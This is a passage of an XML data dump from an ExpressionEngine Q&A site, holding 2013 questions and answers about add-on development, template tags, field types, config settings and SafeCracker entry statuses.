&lt;code&gt;{current_url}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question, is there something specific that needs to be done to have these template variables parsed before processing the tagdata for the add-on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming either I'm missing something simple here, or I'm just doing it wrong! Any insight is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Version 2.5.5&lt;/p&gt;&#xA;" OwnerUserId="1033" LastActivityDate="2014-03-31T19:15:49.470" Title="Global Variable Parsing in Add-On Module" Tags="|add-on-development|parse-order|global-variables|v2.5.5|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6540" PostTypeId="2" ParentId="6511" CreationDate="2013-02-19T20:54:49.020" Score="2" Body="&lt;p&gt;Meanwhile I've got it sorted out with the help of the EE team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The odd behaviour was that the main site worked, and the secondary domain too, but links didn't work in the second domain, every url parsed the default index template. Setting&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$config['uri_protocol']    = &quot;PATH_INFO&quot;;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the config file was the solution to making it work normally. (although the behaviour confused Robin from EE too). &lt;/p&gt;&#xA;" OwnerUserId="555" LastEditorUserId="555" LastEditDate="2013-02-20T08:59:43.090" LastActivityDate="2013-02-20T08:59:43.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6541" PostTypeId="2" ParentId="6522" CreationDate="2013-02-19T22:05:59.607" Score="2" Body="&lt;p&gt;The BBC field uses CodeIgnitors &quot;valid_emails&quot; form rules to make sure that the emails entered are valid. I might be mistaken but even removing that rule from the code would not allow for order fields to be parsed in the BBC field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment you would need to write an extension based upon the &lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html#store_order_complete_end&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;store_order_complete_end&lt;/code&gt;&lt;/a&gt; tag to send the email after the order has been completed.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-02-19T22:05:59.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6542" PostTypeId="1" AcceptedAnswerId="6562" CreationDate="2013-02-19T22:40:57.497" Score="1" ViewCount="314" Body="&lt;p&gt;ExpressionEngine 2.5.3&lt;br&gt;&#xA;PT Fieldpack 1.0.3&lt;br&gt;&#xA;Matrix 2.4.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I'm going crazy, but PT Checkboxes seems to be showing labels for the value instead of the value. My {winner} fieldtype is structured like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one : 1st Place&lt;br/&gt;&#xA;two : 2nd Place&lt;br/&gt;&#xA;three : 3rd Place&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shows like this in the Publish form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x 1st Place&lt;br/&gt;&#xA;x 2nd Place&lt;br/&gt;&#xA;x 3rd Place&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;strong&gt;{winner}&lt;/strong&gt; returns 1st Place, 2nd Place, 3rd Place in the template. &lt;strong&gt;{winner:label}&lt;/strong&gt; returns one, two, three. Isn't that backwards?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I'm having the same issue with PT multi-select. It saves the appropriate value to the DB, but I have no way of displaying it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code Added&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     {exp:channel:entries channel=&quot;awards&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;  disable=&quot;categories|category_fields|member_data|pagination&quot;} &#xA;    {awards_results} &#xA;        &amp;lt;p&amp;gt;Value: {award-highlight}&amp;lt;br/&amp;gt; Label: {award-highlight:label}&amp;lt;/p&amp;gt; &#xA;    {/awards_results} &#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="901" LastEditorUserId="28" LastEditDate="2013-02-20T18:14:01.460" LastActivityDate="2013-02-20T18:14:01.460" Title="PT Checkboxes returning label instead of value" Tags="|add-on|pixelandtonic|pt-checkboxes|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6543" PostTypeId="2" ParentId="6522" CreationDate="2013-02-19T22:56:45.803" Score="0" Body="&lt;p&gt;I haven't tried this, but we used a similar message to customize the outgoing message subject, when orders were processed from different sections and sub-sites, so it may also work for email.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CONFIRMATION: Publication Order from {order_custom9}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, we created a &lt;code&gt;custom order field&lt;/code&gt; and inserted that into the subject from the &lt;code&gt;checkout_review&lt;/code&gt; template, with a hidden input variable&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;order_custom9&quot; value=&quot;Social Science Store&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I imagine, but can't guarantee this would work, but you could insert a custom field into the &lt;strong&gt;BCC:&lt;/strong&gt; field, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BCC: default@domain.org, {order_custom10}&#xA;&#xA;&amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;payment_method&quot; value=&quot;free&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;order_custom10&quot; value=&quot;{selected_email}&quot; /&amp;gt;&#xA;    &amp;lt;a href=&quot;{path='store/order_checkout'}&quot; class=&quot;btn&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Place Order&quot; class=&quot;btn btn-success&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the &lt;code&gt;{selected_email}&lt;/code&gt; would be the results of whatever calculation you use to determine the proper email address. This could be straight up text, with an &lt;code&gt;{if}{if:else}&lt;/code&gt; statement or potentially a field. We've worked with just straight up text, so I can't say a field would work, but it could.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, there's no harm in trying. But this is how we've been using &lt;code&gt;custom_fields&lt;/code&gt;, basically to modify the outgoing email messages.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-19T22:56:45.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6544" PostTypeId="2" ParentId="6539" CreationDate="2013-02-20T02:06:19.287" Score="1" Body="&lt;p&gt;I think you either have to return global variables as they stand and let the parser handle them later on, or if you actually need to do something with them, you'd need to actually parse them inside your add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The global variables are stored in &lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars&lt;/code&gt;, so I guess one thing to do would be to parse through looking for &lt;code&gt;{}&lt;/code&gt; pairs and doing something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($matched_brace_contents as $potential_global_var) {&#xA;    if ( isset( $this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars[$potential_global_var] )) {&#xA;        //do your worst&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is untested code, and may very well need some work, but hopefully it gives an idea of one way of checking if the curly brace pair you see is a global variable or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, perhaps the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-variables&quot; rel=&quot;nofollow&quot;&gt;Template class&lt;/a&gt; can do what you need without you needing to do it on your own.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2013-02-20T04:13:23.727" LastActivityDate="2013-02-20T04:13:23.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6545" PostTypeId="2" ParentId="6537" CreationDate="2013-02-20T02:38:06.713" Score="1" Body="&lt;p&gt;The docs don't indicate you can set status from the search form but you can &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/simple.html#status&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;set status on the search results page&lt;/strong&gt;&lt;/a&gt; with the &lt;code&gt;status=&quot;draft|reviewed|published&quot;&lt;/code&gt; parameter .&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You might also consider these two addons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;Super Search&lt;/a&gt;&lt;/strong&gt; OR &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Low Search&lt;/strong&gt;&lt;/a&gt; which both give you more advanced search capabilities.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-20T02:38:06.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6546" PostTypeId="2" ParentId="6538" CreationDate="2013-02-20T02:49:38.810" Score="1" Body="&lt;p&gt;You are implementing the tag correctly &lt;a href=&quot;https://github.com/expressodev/freemember/wiki/Logout-Url-Tag&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;according to the docs&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error is usually related to a member having incorrect access or issues with forms being processed in Secure Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things to try:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the return parameter to another URL, try return=&quot;/&quot;. If another URL works, something in that template is the problem so you'll need to reduce to find out what.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable the &quot;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html#process-form-data-in-secure-mode&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Process Form Data in Secure Mode&lt;/strong&gt;&lt;/a&gt;&quot; setting on the Security and Sessions page in the CP which is located here: Admin ‣ Security and Privacy ‣ Security and Sessions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;With the new if of your template code, here are two things to try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change &lt;code&gt;{if logged_out}{redirect=&quot;/&quot;}{/if}&lt;/code&gt; to &lt;code&gt;{if logged_out}Logged out{/if}&lt;/code&gt;. Does it show or same error?&lt;/li&gt;&#xA;&lt;li&gt;Remove all code from the template except &lt;code&gt;{if logged_out}{redirect=&quot;/&quot;}{/if}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change &lt;code&gt;{if logged_out}{redirect=&quot;/&quot;}{/if}&lt;/code&gt; to &lt;code&gt;{if logged_out}{redirect=&quot;/&quot;}{if:else}ALL OTHER TEMPLATE CODE HERE{/if}&lt;/code&gt; OR &lt;code&gt;{if logged_out}{redirect=&quot;/&quot;}{/if} {if logged_in}ALL OTHER TEMPLATE CODE HERE{/if}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Test a new template that just handles redirect with &lt;code&gt;{if logged_out}{redirect=&quot;/&quot;}{/if} {if logged_in}{redirect=&quot;dashboard&quot;}{/if}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Test &lt;code&gt;{if logged_out}{redirect=&quot;{path=}&quot;}{/if}&lt;/code&gt; OR &lt;code&gt;{if logged_out}{redirect=&quot;http://www.domain.com&quot;}{/if}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check the URL where you are seeing the message... is it the dashboard URL or the home page URL? It will tell you where the issue is.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-02-22T16:29:01.027" LastActivityDate="2013-02-22T16:29:01.027" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="6547" PostTypeId="2" ParentId="6539" CreationDate="2013-02-20T04:32:59.437" Score="4" Body="&lt;p&gt;I think UltraBob is right in that if you need a global variable available inside the module you need parse them inside the add-on. &lt;code&gt;parse_globals()&lt;/code&gt; looks to be the way to do so (&lt;a href=&quot;https://stackoverflow.com/a/7736940/780434&quot;&gt;thanks to  this answer on Stack Overflow&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following will show that the parsed global is available in the module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parameter = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('parameter_name');&#xA;$parameter = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_globals($parameter);&#xA;echo 'The parsed global is: ' . $parameter;&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-02-20T14:03:35.363" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6548" PostTypeId="2" ParentId="5801" CreationDate="2013-02-20T08:45:58.207" Score="1" Body="&lt;p&gt;This is rather a HTML issue. &quot;Look at the source Luke&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Chrome Devtools or Firebug to see how the basic {field:fieldname} field is rendered. Target your options from there. And even if you need and use an addon, look at the docs &lt;a href=&quot;https://github.com/lodewijk/low_options&quot; rel=&quot;nofollow&quot;&gt;https://github.com/lodewijk/low_options&lt;/a&gt;. from what i read there it is {option:value}, not {fieldname:value}&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-02-20T08:45:58.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6549" PostTypeId="2" ParentId="6508" CreationDate="2013-02-20T10:20:27.490" Score="3" Body="&lt;p&gt;You're on the right track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify the &lt;code&gt;_params&lt;/code&gt; hidden field, it is just an encrypted record of any parameters you used in the tag. It's not used much in the add to cart form, but for example in the checkout tag, if you specify required fields we need to encrypt these, otherwise the customer could simply edit the hidden field and make them not required. Just submit the &lt;code&gt;_params&lt;/code&gt; hidden field intact and you won't have any problems.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does the SKU get figured out (based on the product ID and the modifier selections) between the event of hitting the &quot;add to cart&quot; button and returning the page?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Exactly. In the add to cart form, you submit the modifiers, and the SKU is figured out automatically. You don't specify a SKU directly. This is because some products have modifiers which aren't related to the SKU (e.g. &quot;gift wrapping&quot; yes/no), and also because if a product has more than one modifier, submitting the SKU would require javascript to figure out the matching SKU rather than just submitting the drop-downs and letting Store do the hard work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, instead of this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_sku&quot; value=&quot;{sku}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;modifiers_16&quot; value=&quot;38&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;modifiers_17&quot; value=&quot;43&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;name&lt;/code&gt; field refers to the &lt;code&gt;product_mod_id&lt;/code&gt;, and the &lt;code&gt;value&lt;/code&gt; field refers to the &lt;code&gt;product_opt_id&lt;/code&gt; related to that SKU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So assuming you wanted to keep your existing SKU loop, something like this will probably work to output the correct modifiers (completely untested, but hopefully it puts you on the right track):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;item_qty&quot; name=&quot;item_qty&quot; value=&quot;1&quot; /&amp;gt;&#xA;    {exp:query sql=&quot;SELECT * FROM exp_store_stock_options WHERE sku = '{sku}'}&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;modifiers_{product_mod_id}&quot; value=&quot;{product_opt_id}&quot;&amp;gt;&#xA;    {/exp:query}&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-20T10:20:27.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6550" PostTypeId="2" ParentId="6506" CreationDate="2013-02-20T10:40:21.540" Score="2" Body="&lt;p&gt;The Focus Lab config will only override variables in config.php and database.php by default. You could add an additional &lt;code&gt;require xxx/config.master.php&lt;/code&gt; to mimes.php if you wanted to, but since that requires editing the file anyway, and it unnecessarily complicates things, you're better off just adding the new mime types directly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Custom mime types&#xA;'kml'   =&amp;gt;  'application/vnd.google-earth.kml+xml',&#xA;'kmz'   =&amp;gt;  'application/vnd.google-earth.kmz'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd suggest also submitting a support request/bug report/email to EL requesting that those mime types are included in future releases.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-02-20T10:40:21.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6551" PostTypeId="1" CreationDate="2013-02-20T11:35:07.617" Score="2" ViewCount="140" Body="&lt;p&gt;So here's something weird that's happened: the site is still generating previously created content on our site -- &lt;a href=&quot;http://www.comicsreporter.com&quot; rel=&quot;nofollow&quot;&gt;http://www.comicsreporter.com&lt;/a&gt; -- and I can get to EE, and open posts, but I can't save an edit, can't submit anything, and can't search for a posting by name. I also can't save changes to configurations -- like I can click &quot;off&quot; on Auto Check but it doesn't save. In all cases, saving, submitting, or searching returns me to the CP Home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help? We're running an old-ass version (1.4.1), but any help via any version might be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorUserId="28" LastEditDate="2013-02-20T16:50:40.423" LastActivityDate="2020-02-25T22:06:09.543" Title="EE won't let me post, edit, submit" Tags="|control-panel|ee1|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6552" PostTypeId="1" CreationDate="2013-02-20T12:37:20.933" Score="2" ViewCount="97" Body="&lt;p&gt;I am new to plugin/extension development in EE. I currently have an extension that creates a cookie and saves a value to it. What I want is on every page refresh this value to be updated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have the extension run on each page refresh?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-02-20T13:26:56.043" Title="Run extension on page refresh?" Tags="|extension|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6553" PostTypeId="1" AcceptedAnswerId="6556" CreationDate="2013-02-20T12:45:43.953" Score="2" ViewCount="142" Body="&lt;p&gt;If you show/allow the default HTML formatting buttons for a custom field there is a red cross that allows you to add HTML formatting buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of my users find this confusing and don't understand what is on offer or how to do it, so I'd like to be able to remove it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd rather not have to hack a core file, but if that's the only way to do it which file contains the means?&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2013-02-20T14:32:37.850" Title="How to remove the 'Add html button' button from the formatting toolbar" Tags="|control-panel|custom-fields|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6554" PostTypeId="2" ParentId="6552" CreationDate="2013-02-20T13:26:56.043" Score="4" Body="&lt;p&gt;Yes: use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/session/index.html&quot; rel=&quot;nofollow&quot;&gt;sessions_end hook&lt;/a&gt;. It runs on every page load. Be sure to check to see if you're using it on the front-end before you set your cookie (I assume you want this for the front-end only).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(REQ != 'CP')&#xA;{&#xA;    // do your stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-20T13:26:56.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6555" PostTypeId="2" ParentId="6509" CreationDate="2013-02-20T14:00:57.133" Score="1" Body="&lt;p&gt;We've got this in a project where we wanted to exclude SSL for certain directories. We wanted it on the frontend, but not on the system &amp;amp; dashboard, where we were having issues with popups and custom fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{ENV:SECURE_REDIRECT} != on&#xA;RewriteRule ^(system|dashboard) https://www.yourdomain.com%{REQUEST_URI} [NC,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; That's specific to EngineHosting. Standard method is the following, which may still be more concise to exclude directories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTPS} != on&#xA;RewriteRule ^(system|dashboard) https://www.yourdomain.com%{REQUEST_URI} [NC,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-21T13:50:59.387" LastActivityDate="2013-02-21T13:50:59.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6556" PostTypeId="2" ParentId="6553" CreationDate="2013-02-20T14:26:56.870" Score="1" Body="&lt;p&gt;This red cross?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3iXSy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell the only way to remove this without hacking the core is to use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/cp_styles/index.html#overriding-control-panel-style&quot; rel=&quot;nofollow noreferrer&quot;&gt;override.css&lt;/a&gt; or to add a CSS snippet to the control panel (use &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow noreferrer&quot;&gt;CP CSS &amp;amp; JS)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.markItUpHeader .btn_plus {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-02-20T14:32:37.850" LastActivityDate="2013-02-20T14:32:37.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6557" PostTypeId="2" ParentId="6551" CreationDate="2013-02-20T15:03:30.947" Score="1" Body="&lt;p&gt;There's a seemingly identical EE1 &lt;a href=&quot;http://ellislab.com/forums/viewthread/81343/&quot; rel=&quot;nofollow&quot;&gt;post on the EL forums&lt;/a&gt; for this issue. You might want to try making the &lt;a href=&quot;http://ellislab.com/forums/viewthread/81343/#408935&quot; rel=&quot;nofollow&quot;&gt;following changes&lt;/a&gt; to config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['secure_forms'] = &quot;n&quot;;&#xA;$conf['require_ip_for_login'] = &quot;n&quot;;&#xA;$conf['require_ip_for_posting'] = &quot;n&quot;; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will disable some useful security features but it could be a viable short term workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also suggest updating to the latest EE1 release (if not EE2) ASAP. I wouldn't want to guess how many bugs and compatibility issues there are in 1.4.1.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-02-20T15:03:30.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6558" PostTypeId="1" CreationDate="2013-02-20T16:22:15.863" Score="2" ViewCount="134" Body="&lt;p&gt;I think I have a problem with the box that appears when you want to select an uploaded image.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a folder with about 150 images in it.&lt;/li&gt;&#xA;&lt;li&gt;When I browse this folder via the Assets2 module I am able to see all of the images.&lt;/li&gt;&#xA;&lt;li&gt;When I try and select an image using the Assets field type in a Matrix cell the pop up box only shows a few of the images.&lt;/li&gt;&#xA;&lt;li&gt;I know the image is because it appears when I manually search for the file name.&lt;/li&gt;&#xA;&lt;li&gt;I think the problem is that the images are not refreshing when I pull the scroll bar down.&#xA;Using Safari 5.1.7 and Chrome 24.0.1312.57&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2013-03-18T14:15:55.757" Title="Assets2 not displaying all uploaded images" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6559" PostTypeId="2" ParentId="6558" CreationDate="2013-02-20T16:50:48.473" Score="1" Body="&lt;p&gt;Kenny,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like this is happening in the publish page; I reported a bug on that the other day to our team.  This should be fixed in a future release, but I do not have an update right now. I've made a note to come back to this thread and update once it is fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-20T16:50:48.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6562" PostTypeId="2" ParentId="6542" CreationDate="2013-02-20T17:32:05.210" Score="0" Body="&lt;p&gt;Here's the right code for what you want, and will give you the customization you need.  This is from the PT Checkbox docs included in the download for the FieldPack.  I didn't actually see a reference to the :label argument in our docs for Checkbox (though 'tis there for other addons, such as the Dropdowns).  So do please use the variable pair approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {pt_check}&#xA;    {option_name}: {option}&amp;lt;br /&amp;gt;&#xA;    {/pt_check}&#xA;&amp;lt;hr /&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{pt_check} is my checkbox field.  So if you're doing this in Matrix, you'll have that inside of your Matrix variable pair.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-20T17:32:05.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6563" PostTypeId="1" AcceptedAnswerId="6578" CreationDate="2013-02-20T17:39:16.080" Score="2" ViewCount="444" Body="&lt;p&gt;Here is how its setup.&lt;/p&gt;&#xA;&lt;p&gt;The Channel: Personal Trainer Directory&lt;/p&gt;&#xA;&lt;h3&gt;Edit Group Assignments&lt;/h3&gt;&#xA;&lt;p&gt;Status Groups: Statuses&lt;/p&gt;&#xA;&lt;h3&gt;Edit Preferences&lt;/h3&gt;&#xA;&lt;p&gt;Default Status: Open&lt;/p&gt;&#xA;&lt;h3&gt;Member Group Settings&lt;/h3&gt;&#xA;Channel Assignment&#xA;&lt;p&gt;Can post and edit entries in Personal Trainer Directory: Yes&lt;/p&gt;&#xA;Module Access Privileges&#xA;&lt;p&gt;Can access module SafeCracker: Yes&lt;/p&gt;&#xA;&lt;h3&gt;SafeCracker Module Settings&lt;/h3&gt;&#xA;Personal Trainer Directory&#xA;&lt;p&gt;Default Status: Open&lt;/p&gt;&#xA;&lt;p&gt;SafeCracker tag&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker&#xA;channel=&amp;quot;personal_trainer_directory&amp;quot;&#xA;return=&amp;quot;/member/profile&amp;quot;&#xA;entry_id=&amp;quot;{segment_3}&amp;quot;&#xA;status=&amp;quot;open&amp;quot;&#xA;safecracker_head=&amp;quot;no&amp;quot;&#xA;use_live_url=&amp;quot;no&amp;quot;&#xA;url_title=&amp;quot;&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The entries are being created fine, just dont understand why they are showing up as closed still.  Is there anything that I forgot?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I added the Member Group Settings section above, I forgot to add that initially so I'm still having the same issue&lt;/p&gt;&#xA;" OwnerUserId="941" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-03-18T20:56:10.277" Title="SafeCracker Entries Created With Status “Closed”" Tags="|safecracker|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
